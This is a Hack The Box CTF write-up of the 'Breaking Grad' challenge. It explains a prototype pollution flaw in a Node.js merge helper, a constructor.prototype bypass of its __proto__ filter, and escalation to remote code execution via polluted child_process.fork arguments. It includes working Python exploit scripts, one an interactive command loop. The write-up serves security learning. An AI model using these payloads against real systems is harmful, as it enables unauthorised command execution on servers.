Breaking Grad - Hack The Box Challenge

3 minute read

  3 minute read

breaking grad htb

breaking grad htb 1

First of all, run the instance or the docker, and download the files from hack the box.

Inspecting the source code, we see that it’s a Node.js application using express. In routes/index.js we can see all available pages:

breaking grad htb 2

Prototype Pollution Vulnerability

The next interesting function it’s in helpers/ObjectHelper.js:

breaking grad htb 3

Merge functions usually lead to Prototype Pollution Vulnerabilities..

Prototype pollution is a vulnerability where an attacker is able to modify Object. prototype. Because nearly all objects in JavaScript are instances of Object, a typical object inherits properties (including methods) from Object.

In the routes file, we can see that when sending a POST request to ‘/api/calculate’, first thing done is passing req.body to function ObjectHelper.clone. This function calls the merge function passing as first parameter an empty object {} and as second parameter target, which is req.body.

routes/index.js

router.post('/api/calculate', (req, res) => {
    let student = ObjectHelper.clone(req.body);

helpers/ObjectHelper.js

    clone(target) {
        return this.merge({}, target);
    }

So ObjectHelper.clone adds every property from req.body (every POST parameter) to an empty new object.

This allow us to pass for example { __proto__ : { htb : 'htb' }}, we will set a new property named htb with value 'htb' to the __proto__ of this new object. Since it’s a new empty object, the function which created it is Object, so target.__proto__ points to the Object prototype. So we can set any property we want to Object prototype by sending { __proto__ : { <property> : <value of the property> }} as req.body inside a POST request to ‘/api/calculate.

But the function isValidKey prevents us of injecting __proto__ as key.

The way to bypass this consist of every object has a constructor property, which points to the function which created it and said that we can reffer to constructor.prototype, which is the prototype of the function which created the object.

This means that our target.__proto__ is the same as target.constructor.prototype. So, our final payload to inject properties to Object is { constructor : { prototype : { <property> : <value> }}}

We can check that it works by sending a POST request to /api/calculate. This will return {"pass":"no0ooo00pe"} if the object student has either a property 'name' with value 'Baker' or 'Purvis' or a property 'paper' with value greater or equal than 10 (helper/StudentHelper.js). So, if we succesfully inject a property 'name' with value 'Baker' in Object, the server will return {"pass":"no0ooo00pe"} although the object student doesn’t have the property itself (because of inheritance and the prototype chain).

module.exports = {
    isDumb(name){
        return (name.includes('Baker') || name.includes('Purvis'));
    },

    hasBase(grade) {
        return (grade >= 10);
    }
};

A example exploit in Python is:

import requests
import sys

if (len(sys.argv)==2):
	url=sys.argv[1]
else:
    print("-------------------------- ERROR FOUND -----------------------")
    print("Usage: "+str(sys.argv[0])+"http://url:port") # error msg
    exit()
    
sess = requests.Session()
r = sess.post(url + '/api/calculate', json = {'constructor': {'prototype' : { 'name' : 'Baker' }}})
print(r.text)

So the output for python3 exploit http://46.101.1.163:31313 was {"pass":"n0o00oo00o0pe"}

The injection was sucessful.

Remote Code Execution (RCE)

When accessing /debug/version you got Everything is OK (v12.18.1 == v12.18.1) and child_process.fork is executed inside helper/DebugHelper.js:

breaking grad htb 4

fork accepts 2 functions, exectPath and execArgv

If we pass ‘ls’ as execPath, server will execute ‘ls VersionCheck.js’. If we pass ‘ls’ as execPath and ‘.’ as execArgv, server will execute ‘ls . VersionCheck.js’.

Function fork will look for this arguments in the object passed. If it doesn’t have them, it will look for them in Object. As we can set any property we want to Object, we can pass any argument we want to function fork, getting Remote Code Execution.

An update of the previous python script is:

import requests
import sys

if (len(sys.argv)==2):
	url=sys.argv[1]
else:
    print("-------------------------- ERROR FOUND -----------------------")
    print("Usage: "+str(sys.argv[0])+"http://url:port") # error msg
    exit()

sess = requests.Session()
cmd = ""
arg = ""

while True:
    cmd = input ("Command: ")
    arg = input ("Arguments: ")
    r = sess.post(url + '/api/calculate', json = {'constructor': {'prototype' : { 'execPath' : cmd, 'execArgv' : [arg] }}})
    print(r.text)

    r = sess.get(url + '/debug/version')
    print(r.text)

breaking grad htb 5

Remember to execute the script inside of challenge folder.

Byee